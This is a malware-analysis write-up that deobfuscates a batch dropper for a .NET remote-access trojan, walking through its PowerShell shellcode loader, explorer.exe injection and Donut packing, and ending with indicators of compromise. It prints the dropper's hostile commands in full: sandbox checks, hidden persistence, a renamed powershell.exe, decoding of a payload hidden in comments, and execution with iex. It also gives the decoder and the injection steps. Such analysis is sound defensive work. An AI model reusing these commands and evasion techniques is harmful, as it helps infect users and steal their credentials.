Three layers deep: reverse-engineering a .NET RAT dropper
Three layers down into a 1.1 MB junk-padded batch script: from cmd.exe macro obfuscation through a PowerShell shellcode loader to a Donut-packed implant living inside explorer.exe. The dropper hides its payload steganographically in 3,500 lines of comments, renames powershell.exe to evade name-based detection, and uses a 7-byte memory marker for cross-reboot idempotence. Companion to the incident writeup.
A 1.1 MB .bat file landed in front of me with a single line of context: "can I unobfuscate this?" Inside was a Windows batch script padded out to 3,560 lines with REM noise, fake ECHO lines, label-scrambled control flow, and 1,245 single-letter macro variables whose names looked like they had been generated by a keyboard mash.
This post walks the file from the outside in. By the end of it the script's intent is no longer ambiguous: the artifact is a three-stage loader that drops itself into a hidden folder, repackages powershell.exe under a different name, decrypts an embedded PowerShell payload, and uses that payload to perform classic remote-thread shellcode injection into explorer.exe. The injected shellcode is itself a Donut-packed module carrying an encrypted .NET assembly. The end state is a stealth implant whose job is to harvest credentials, cookies, crypto wallets, and Discord/Steam tokens, and to maintain long-term remote access for the operator.
The social engineering vector that delivered this file, the fake Minecraft launcher and the operational pattern the operator built around it, is in the companion post. This one is the malware itself.
Layer 0: what the file looks like
@echo off
GOTo :IPaQLIijNXnGrLyg
:VHmqkLpIKKoaShQS
%aztSMcxV%%qfoLwyuBr%%xfYuxZRhJVC%%lxTXUeBZRh%%mbWwgrBy%%mYPOWCFj%%IlZqeB%...
%nGZcXDpBcz%%PgUqMFcVAl%%hGfFeUFwa%%iWRTLNdla%%hcuyYyOkGeiA%%fCUIun%...
rEM YRmKd9
%AFFHwqxkdL%%eTgzGIlmV%%gBwbqdy%%DHveHLzaNvpp%...The pattern is consistent across the whole file:
- A
GOTO :LABELthat jumps far away. - Each label block runs a few
SET "varname=value"statements to populate a dictionary, then emits one or more lines that are pure concatenations of%variable%references. Whencmd.exeexpands these, the result is the actual command. - Each block ends with another
GOTOto a different label. The labels are visited in scrambled order, so just reading the file top to bottom tells you nothing. - Between the meaningful lines, every block also contains
REMcomments,ECHO X 2>nulcalls, andIF %ERRORLEVEL% LSS %undefinedvar% ECHO ...constructs that always evaluate to nothing. Padding.
Counts in the artifact:
| Category | Count |
|---|---|
| Labels | 547 |
GOTO jumps | 318 |
SET statements (the macro dictionary) | 1,245 |
REM junk lines | 581 |
ECHO ... 2>nul junk lines | 141 |
IF %ERRORLEVEL% ... junk lines | 167 |
Out of 3,560 lines, only 27 are real commands once the noise is stripped.
Layer 1: deobfuscating the batch
There are two ways to deobfuscate a script like this. The clumsy way is to actually run it under instrumentation and log every command cmd.exe executes. The clean way is to simulate it statically. I picked the clean way because letting the dropper run is what the dropper wants you to do.
The simulator is straightforward:
- Parse the file into a map of
label → ordered list of source lines. - Maintain a dictionary of currently-set variables.
- Starting from the entry label that the top-of-file
GOTOpoints to, walk each block line by line:SET "NAME=VALUE"updates the dictionary. Expand the value first, in case it references other variables already set.REMandECHO X 2>nulandIF %ERRORLEVEL%lines are dropped.- Real lines get every
%var%expanded recursively against the dictionary, then emitted to the output. GOTO :LABELjumps to the corresponding block.IF cond GOTO :LABELis evaluated where possible. Ifcondresolves to a definite true or false at simulation time, follow the corresponding branch. Otherwise emit the IF as a comment and fall through.
- Stop on
EXITorGOTO :EOF, or when the simulator hits a visit cap on any single label (cycle guard).
Two implementation traps worth noting.
Quoted-value SET regex. Some macro values themselves contain a literal ", like SET "name="" (value equals "). The naive SET\s+"([^=]+)=([^"]*)"\s*$ regex stops at the first inner quote and produces wrong macro values. Switch to a greedy (.*) that consumes up to the last " on the line.
Self-relaunch via %~1. The script's first real check is if /I "%~1" neq "silent" goto <relaunch_label>. That gate is undecidable statically because %~1 is the script's runtime argument. The simulator treats any condition involving %~N as undecidable, emits the IF as a comment, and falls through into the silent-mode path. This is the path that contains the actual payload behavior. The relaunch path just re-executes the script with silent as the argument and a hidden window, which lands back at the same place a moment later.
After the simulator runs, the 3,560-line file collapses to this:
@echo off
:: if launched without "silent" arg, re-launch hidden (skipped by simulator)
if /I "%username%"=="Admin" if exist "%temp%\VBE" exit
if /I "%username%"=="admin" if exist "%temp%\VBE" exit
if /I "%username%"=="Admin" if exist "%temp%\mapping.csv" exit
if /I "%username%"=="admin" if exist "%temp%\mapping.csv" exit
powershell -NoProfile -Command "try{$r=(Get-CimInstance Win32_ComputerSystem).TotalPhysicalMemory;if(-not$r -or$r -lt 3221225472){exit 123}else{exit 0}}catch{exit 123}" & if errorlevel 123 exit /b
cd C:\ProgramData
if not exist IntelDrIver mkdir IntelDrIver
if exist IntelDrIver attrib +s +h IntelDrIver
if exist C:\ProgramData\IntelDrIver cd C:\ProgramData\IntelDrIver
copy "%~f0" C:\ProgramData\IntelDrIver\rEgX.cmd
powershell -command "foreach ($i in Get-ChildItem -Recurse -Force) { $i.Attributes = $i.Attributes -bor 6 }"
if exist %USERPROFILE%\Downloads\CPU.exe del /q %USERPROFILE%\Downloads\CPU.exe
copy /Y "%SystemRoot%\SysNative\WindowsPowerShell\v1.0\powershell.exe" "%USERPROFILE%\Downloads\CPU.exe"
if NOT exist "%USERPROFILE%\Downloads\CPU.exe" copy /Y "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "%userprofile%\Downloads\CPU.exe"
if NOT exist "%USERPROFILE%\Downloads\CPU.exe" copy /Y "%WINDIR%\System32\WindowsPowerShell\v1.0\powershell.exe" "%USERPROFILE%\Downloads\CPU.exe"
attrib +h %USERPROFILE%\Downloads\CPU.exe
"%userprofile%\Downloads\CPU.exe" -c "$out=''; foreach ($line in Get-Content 'rEgX.cmd') { if ($line.StartsWith('::')) { $text = $line.Substring(2).TrimStart(); $out += $text + \"`n\" } }; Set-Content -Path 'icon.png' -Value $out"
"%userprofile%\Downloads\CPU.exe" -c "$out=''; foreach ($line in Get-Content 'rEgX.cmd') { if ($line -match '^@\s+(.+)') { $clean = $matches[1]; $out += $clean + \"`n\" } }; Set-Content -Path 'logo.jpg' -Value $out"
"%userprofile%\Downloads\CPU.exe" -c "$k='cf';$d=[Convert]::FromBase64String((Get-Content 'logo.jpg' -Raw));$s='';$idx=0;foreach($b in $d){$s+=[char]($b -bxor [byte][char]$k[$idx]);$idx++;if($idx -ge $k.Length){$idx=0}};iEx $s"
pause
exit /bThat's the whole dropper. Six anti-analysis checks, three persistence operations, a PowerShell rename to disguise itself as CPU.exe, two passes to harvest a hidden payload out of comments in the dropped batch, an XOR decryption, and Invoke-Expression. Things worth calling out in this layer:
The username gate. Sandboxes and AV emulation environments commonly run under a username called Admin. Two of the most popular ones also drop telltale artifacts in %TEMP%. The two combined if lines are a single Boolean check disguised as four: "if I'm in a sandbox, exit immediately." It is not robust. Anyone running the dropper as Admin for legitimate reasons would hit this gate and the malware would walk away. That is a false negative the malware author is willing to accept.
The 3 GiB RAM gate. 3221225472 is 3 × 2^30. Cuckoo-style sandboxes are often provisioned with 2 GiB or less. Real user machines almost always have more. This single check filters out a meaningful fraction of automated analysis environments.
The IntelDriver folder. Misdirection. A user who later notices C:\ProgramData\IntelDriver is much more likely to leave it alone than they would C:\ProgramData\PwnedByEvil. The folder is then marked +s +h (system + hidden), which makes Explorer skip it under default settings. Note also the capital I in IntelDrIver: a real Intel folder would have a lowercase i. The dropper writes its working directory under a typo-twin so an analyst eyeballing dir output will scan past it.
The CPU.exe rename. This is a Living-off-the-Land tactic with a clever twist. Many EDR products and SOC alerting rules trigger on powershell.exe running with -NoProfile -ExecutionPolicy Bypass or with base64-encoded commands. Renaming powershell.exe to CPU.exe defeats name-based detections that look at the process image filename. The binary is still PowerShell. Same hashes. Same Microsoft signature. Same exported functions. It is not flagged on disk because the file is still legitimately signed by Microsoft. The user, glancing at Task Manager, sees CPU.exe and assumes it has something to do with CPU monitoring.
The two-pass payload extraction. The dropper, after copying itself to rEgX.cmd, opens that file twice. The first pass scans for lines that start with :: (the batch-language "comment that the disassembler ignores") and writes the trailing text from each one into a file called icon.png. The second pass scans for lines that start with @ followed by whitespace and a payload chunk, and writes that into logo.jpg. Neither file is actually an image. The original 1.1 MB batch file is partly camouflage and partly carrier: most of those 3,500 lines are not noise after all. The ::-prefixed lines are the second-stage shellcode; the @-prefixed lines are the second-stage PowerShell. Both are base64-encoded and XOR-encrypted.
This payload-in-comments steganography is the most elegant trick in the dropper. A static scanner looking for shellcode patterns inside a .cmd file would skip past comment lines as a matter of course. A YARA rule built around the payload binary content fails because the payload is not contiguous bytes in the file; it is distributed across thousands of ::-prefixed lines interleaved with the obfuscated batch logic. The base64 + XOR encryption is weak (single-byte rolling XOR with the key cf) but it does not have to be strong. It only has to defeat string matching.
Layer 2: the PowerShell loader
After running the XOR decryption on logo.jpg with the key cf, the second-stage PowerShell drops out as 17,304 bytes of clean source code with one major obfuscation technique remaining: every meaningful string is encoded.
The encoded strings look like this:
$systemPath = Join-Path $env:SystemRoot $(pijQoEyd6V "x5ξξπππνyiERZ61jpXTQyy5..." @(0x81, "ο", 0xF0, ...))The function pijQoEyd6V is a three-stage decoder:
function pijQoEyd6V($encodedString, $keyArray) {
# 1. Strip Greek-letter decoy characters from the base64 input.
$cleanedB64 = $encodedString -replace '[αβγδεζηθικλμνξοπ]', ''
# 2. Extract only the integer entries from the mixed key array
# (the array also contains string decoys to confuse static parsers).
$intKey = @()
foreach ($item in $keyArray) {
if ($item -is [int]) { $intKey += $item }
}
# 3. Base64-decode, then XOR each byte against the integer key.
$rawBytes = [System.Convert]::FromBase64String($cleanedB64)
$xorBytes = New-Object byte[] $rawBytes.Length
for ($i = 0; $i -lt $rawBytes.Length; $i++) {
$xorBytes[$i] = $rawBytes[$i] -bxor $intKey[$i % $intKey.Length]
}
# 4. Apply ROT13 across the ASCII letter ranges.
# (The constants 97, 122, 65, 90, 13, 26 are written in the original
# as arithmetic expressions like (60+40)-3, 130/2, (10+5)-2+0 etc.)
$result = @()
foreach ($c in [System.Text.Encoding]::UTF8.GetString($xorBytes).ToCharArray()) {
if ($c -ge 97 -and $c -le 122) {
$result += [char](((($c - 97) - 13) % 26 + 26) % 26 + 97)
} elseif ($c -ge 65 -and $c -le 90) {
$result += [char](((($c - 65) - 13) % 26 + 26) % 26 + 65)
} else {
$result += $c
}
}
return -join $result
}Three layers of stripping, decoding, decrypting, and rotating, with Greek-letter decoys mixed into the base64 to break naive base64 detectors and string decoys mixed into the key array to break naive byte-array detectors. Reimplementing the function in Python and walking the script for every pijQoEyd6V "..." @(...) call yielded the unique decoded strings:
"New-Item"
"-Force | Out-Null"
"SysNative\WindowsPowerShell\v1.0\powershell.exe"
"[^a-zA-Z0-9+/=]"
"C:\ProgramData\IntelDriver"
"windows.ps1"
"Win32_ComputerSystem"
"SecurityHealthSystray"
"OneDrive"
"sihost"
"taskhostw"
"RuntimeBroker"
"IntelDriver\icon.png"
"explorer"The choice of New-Item and -Force | Out-Null as separately-encoded strings is interesting. The author is splitting cmdlet invocations across multiple decoder calls so that no single pijQoEyd6V call leaks the full command. A scanner that decrypts one string at a time and looks for New-Item -ItemType Directory ... matches will not find one. The actual call site is & $cmdNewItem -ItemType Directory -Path $dropDir $cmdNewItemArgs, with two pieces decoded independently. The same applies to the candidate injection target list: each process name is decoded separately, called against the running process list, and discarded.
With every encoded string inlined, every randomly-named variable renamed by context, and every function renamed by purpose, the second-stage PowerShell is 382 lines of clean code. Its responsibilities are exactly five.
1. Re-launch under SysNative PowerShell if running 32-bit on 64-bit Windows. SysNative is the file system redirector alias that gives a 32-bit process access to the real 64-bit System32. This is so the rest of the script can use 64-bit P/Invoke. Guarded by an environment-variable flag (STUB_SYSNATIVE_INJECT_RETRY) to avoid infinite re-launch loops.
2. Define the P/Invoke surface. Add-Type declares a Win32 class with imports from kernel32.dll: OpenProcess, VirtualAllocEx, VirtualFreeEx, WriteProcessMemory, CreateRemoteThread, WaitForSingleObject, VirtualQueryEx, ReadProcessMemory, IsWow64Process, CloseHandle. Plus the MEMORY_BASIC_INFORMATION struct and a small set of constants. This is the full P/Invoke kit for remote-thread shellcode injection plus injected-state detection.
3. Install persistence. If $stubStartupEnabled is true (it is), the script generates a Scheduled Task XML at %APPDATA%\applicationbackup.xml that runs at user logon, registers it via schtasks /create /xml, and drops a VBScript wrapper at %LOCALAPPDATA%\applicationbackup.vbs:
Set objShell = CreateObject("WScript.Shell")
objShell.Run "C:\ProgramData\IntelDriver\rEgX.cmd", 0, FalseThe 0, False arguments tell WScript to run the dropper with a hidden window and not to wait for it. The result is that every time the user logs in, the dropper runs invisibly in the background. Persistence at user-context level only (no admin), which is exactly what an opportunistic credential-stealer needs.
4. Read the shellcode. Read-EncodedFileBytes opens C:\ProgramData\IntelDriver\icon.png, strips a custom marker (a regex matching X/Ab or X\Ab with any whitespace), strips all non-base64 characters, and base64-decodes. The result is 663 KB of raw bytes.
5. Inject into explorer. The main loop runs up to 20 times. Each iteration:
- Reads the shellcode from disk (in case it was updated between attempts).
- Enumerates
explorer.exeprocesses. After 10 failed attempts, it also enumeratesSecurityHealthSystray,OneDrive,sihost,taskhostw,RuntimeBroker. These are all long-running user-context processes that exist on virtually every modern Windows installation. - For each candidate, calls
OpenProcesswithPROCESS_INJECTION_ACCESS = PROCESS_VM_OPERATION | PROCESS_VM_READ | PROCESS_VM_WRITE | PROCESS_CREATE_THREAD | PROCESS_QUERY_INFORMATION. - Calls
IsWow64Processto verify the target's bitness matches the host PowerShell's bitness. Mismatched bitness injection requires special handling (Heaven's Gate or WOW64 trampolines) and the author did not bother. - Scans the target's committed-and-writable memory regions via
VirtualQueryEx+ReadProcessMemory, looking for the 7-byte markerDE AD BE CA FE BA EF. If found, the process is already infected. Skip it. This avoids double-injection. - If not infected, calls
VirtualAllocExwithMEM_COMMIT | MEM_RESERVEandPAGE_EXECUTE_READWRITE, allocatingmarker_length + shellcode_lengthbytes. WriteProcessMemorywrites the marker, then writes the shellcode immediately after it.CreateRemoteThreadstarts a thread whose entry point is the shellcode address (not the marker address; the marker is just a flag).WaitForSingleObjectwithINFINITE. Then close handles.
The 7-byte marker is the most interesting design choice in the PowerShell layer. The marker has no functional purpose for the malware itself: the shellcode does not read it, does not need it, and the rest of the loader works fine without it. Its only purpose is idempotence. If the user reboots and the scheduled task fires the dropper again, the second invocation walks the running processes, finds explorer.exe already has the marker in its memory, and quietly skips it. One implant per process, even across reboots. That is not the behavior of someone running a one-shot smash-and-grab. That is the behavior of someone running a long-term residency.
Layer 3: the Donut shellcode
The 663 KB of bytes injected into explorer.exe are not a PE file. They start with:
e8 c0 fb 09 00 ...That is a five-byte CALL +0x0009FBC0. The blob is structured like this:
+--------+--------------------------------------------------+
| 0x00 | E8 C0 FB 09 00 -- CALL to loader at 0x9FBC5 |
+--------+--------------------------------------------------+
| 0x05 | uint32 len = 0x9FBC0 (total instance size) |
+--------+--------------------------------------------------+
| 0x09 | 16 bytes Chaskey master key |
+--------+--------------------------------------------------+
| 0x19 | 16 bytes Chaskey CTR-mode initial counter |
+--------+--------------------------------------------------+
| 0x29 | ~640 KB Chaskey-encrypted instance data: |
| | - DLL name table (kernel32, ntdll, ole32, ...) |
| | - API name hashes (8-byte Maru hashes) |
| | - AMSI / WLDP bypass apparatus |
| | - payload type tag (PE / .NET / VBS / JS / XSL)|
| | - mod_key (separate key for the inner module) |
| | - encrypted final payload |
+--------+--------------------------------------------------+
| 0x9FBC5| ~25 KB loader code (unencrypted x64) |
+--------+--------------------------------------------------+The CALL at offset zero is also the only thing in this blob that runs immediately. It pushes the return address (which is the address of the byte right after the CALL, that is, offset 5, which is the start of the instance) and jumps to the loader. The loader's first instruction is pop rcx, which gives it the pointer to the instance. Every subsequent operation indexes off rcx.
This is the signature of Donut, the open-source position-independent code generator by TheWover. Donut takes any Windows PE or .NET assembly and packages it as a self-contained shellcode loader that decrypts the original binary in memory, resolves Windows APIs without LoadLibrary or GetProcAddress, optionally patches AMSI and WLDP, and either manually maps the PE or hosts the CLR and runs the assembly. The structural fingerprints match exactly:
- The five-byte
CALLover the instance data. - The
pop rcx; xor eax,eax; sub rsp,0x500; mov rbx,rcxloader prologue. - The instance length stored at offset 4 of the instance (
DONUT_INSTANCE.len). - The 32-byte
DONUT_CRYPT(16 bytes key, 16 bytes counter) at instance offsets 0x04 and 0x14. - The
[rcx+0x238]payload-type check. - The
mov rax, qword ptr gs:[0x30]near the API resolver, which reads the Thread Information Block to find the Process Environment Block, then walksPEB.Ldr.InMemoryOrderModuleListto enumerate loaded DLLs.
The API resolution method is worth a paragraph on its own. Standard Windows binaries call LoadLibrary("kernel32.dll") and GetProcAddress(h, "CreateRemoteThread") to get pointers to system functions. Both calls touch named strings that show up in static analysis and that EDR products can hook. Donut sidesteps both. It walks the PEB to find already-loaded DLLs, reads each DLL's export table, hashes each export name with an 8-byte hash function (Donut calls it the Maru hash), and compares against a hardcoded table of API name hashes inside the encrypted instance. No DLL name appears in the loader as a string. No API name appears. A scanner looking at the unencrypted portion of the shellcode sees no strings worth flagging.
I could not cleanly decrypt this specific instance's data section using the canonical Donut Chaskey-CTR implementation. The version here is either a fork with modified rounds, or a sufficiently old Donut version that the cipher implementation differs from current master. The structural fingerprints are unambiguous, but the cipher will not yield to the public decryptor. Fully recovering the inner module would require either porting the loader's own decrypt routine 1:1 from the disassembly, or emulating the loader under Unicorn or Speakeasy long enough to dump the post-decryption state. Both are tractable; neither is necessary for this writeup.
What the implant is for
The interesting question is not which RAT family is inside the Donut blob, but what the operator does with it once it is running. The entire pipeline up to this point is in service of one goal: keep an obedient .NET assembly running inside explorer.exe, with that process's full user-context privileges, with C2 access, without showing up in process lists under a suspicious name.
There are several behaviors this is not optimized for:
- It is not ransomware. Nothing in any of the three layers walks the filesystem, generates an encryption key, drops a ransom note, deletes shadow copies, or disables Defender's tamper protection. Ransomware does not bother with persistence at logon, because ransomware needs to fire exactly once and finish before the user can react.
- It is not a wiper. Same reasoning, more aggressively.
- It is not a coin miner, despite the misleading
CPU.exefilename. Miners drop a separate compute binary (typicallyxmrig.exeor similar) and run it as a background process. Their persistence is service-based, not user-logon-based. Their target is sustained CPU time, not user credentials.
What it is optimized for is long-term residency under user-context privileges with full access to that user's data. The standard behaviors of the .NET RAT families that are packaged this way (AsyncRAT, QuasarRAT, DcRat, VenomRAT, RedLine Stealer, and their many forks) include:
- Browser credential harvesting from Chrome, Edge, Firefox, Brave, Opera. Saved passwords are encrypted on disk with DPAPI keyed to the current user. Running inside the user's own process gives the implant transparent access to decrypt them.
- Browser cookie and session token theft. Stealing the active session cookie for an authenticated service often bypasses 2FA entirely. The operator does not need the password if they can just paste the session cookie into their own browser.
- Crypto wallet theft. Standalone clients (
wallet.datfor Bitcoin and Litecoin, Electrum and Exodus and Atomic Wallet directories) and browser-extension wallets (MetaMask, Phantom, TronLink, Coinbase Wallet, found by enumerating Chrome extensionLocal Extension Settingsdirectories). - Application token theft. Discord (
Local Storage/leveldb), Telegram (tdata), Steam (ssfnfiles andloginusers.vdf), Slack, gaming launchers. - Keylogging via a global keyboard hook installed from inside the host process.
- Clipboard hijacking. Monitor the clipboard. When the user copies anything that pattern-matches a crypto wallet address (BTC, ETH, etc.), silently replace it with one of the operator's addresses. The next time the user pastes, their transaction goes to the attacker.
- Periodic screenshots uploaded to the C2.
- Reverse shell access (cmd or PowerShell pseudo-terminal back to the operator).
- Hidden VNC ("HVNC"), a second invisible desktop session the operator can drive while the real user is logged in and using the machine normally.
- Loader-as-a-service monetization. Once a host is enrolled, the operator can sell installs to third parties. The same machine becomes a delivery point for additional payloads, sometimes including ransomware as a deliberate later-stage decision after the implant has finished mining the host for valuable data.
The plausible end-state for a victim of this campaign, anecdotally consistent with public IR reports on this family of droppers, is: a few hours to a few days after infection, the victim's saved browser passwords are used to log into their accounts from a foreign IP, crypto wallet balances vanish in single transactions, Discord and Steam friends start receiving "hey check this out" messages with similar dropper links, and the machine continues to phone home indefinitely until the user wipes and reinstalls.
In the specific incident this writeup is paired with, none of that happened in the usual order. The operator skipped the industrial monetization shape entirely and went straight to a personal extortion attempt, then to a weaponized account-suspension attack when the extortion was refused. That story is in the companion post.
Indicators of compromise
If you are worried you have this on a machine, these are the artifacts to grep for:
| Artifact | Location |
|---|---|
| Dropper batch | C:\ProgramData\IntelDrIver\rEgX.cmd (note the capital I) |
| Hidden+system folder | C:\ProgramData\IntelDrIver\ |
| Renamed PowerShell | %USERPROFILE%\Downloads\CPU.exe |
| Second-stage shellcode | C:\ProgramData\IntelDriver\icon.png |
| Second-stage PowerShell | C:\ProgramData\IntelDriver\logo.jpg |
| Scheduled task | applicationbackup (runs at user logon) |
| Scheduled task XML | %APPDATA%\applicationbackup.xml |
| VBS launcher | %LOCALAPPDATA%\applicationbackup.vbs |
| In-memory marker | bytes DE AD BE CA FE BA EF inside explorer.exe |
Behavioral red flags worth a look on any Windows host:
- A
powershell.execopy in%USERPROFILE%\Downloads\under any non-default name. - A scheduled task with
Description = "IntelDriver System Service"and a logon trigger. wscript.exerunningapplicationbackup.vbsat user logon.- Any folder under
C:\ProgramData\with the+s +hattributes that does not belong to a legitimate vendor.
The artifacts
The full deobfuscated batch, the full renamed-and-annotated PowerShell, the deobfuscator I wrote, and the analysis notes will be mirrored on a public repo once the open investigation closes. The raw obs.txt sample is not, and will not be, because I am not in the business of redistributing live malware. If you are doing your own analysis and want a sanitized copy, reach out via the contact at the bottom of the home page.
What's next
The companion post on the operational pattern, the social engineering vector that delivered this dropper, the personal extortion attempt, and the weaponized account-suspension attack the operator launched when the extortion was refused, is published.
The full IOC bundle plus a recovery checklist for victims of session-cookie theft and account takeover will land alongside the artifacts repo. If you are reading this because you suspect you or someone you know has been targeted, contact your national cybercrime reporting unit. Do not contact the operator. Do not pay. Preserve evidence and report.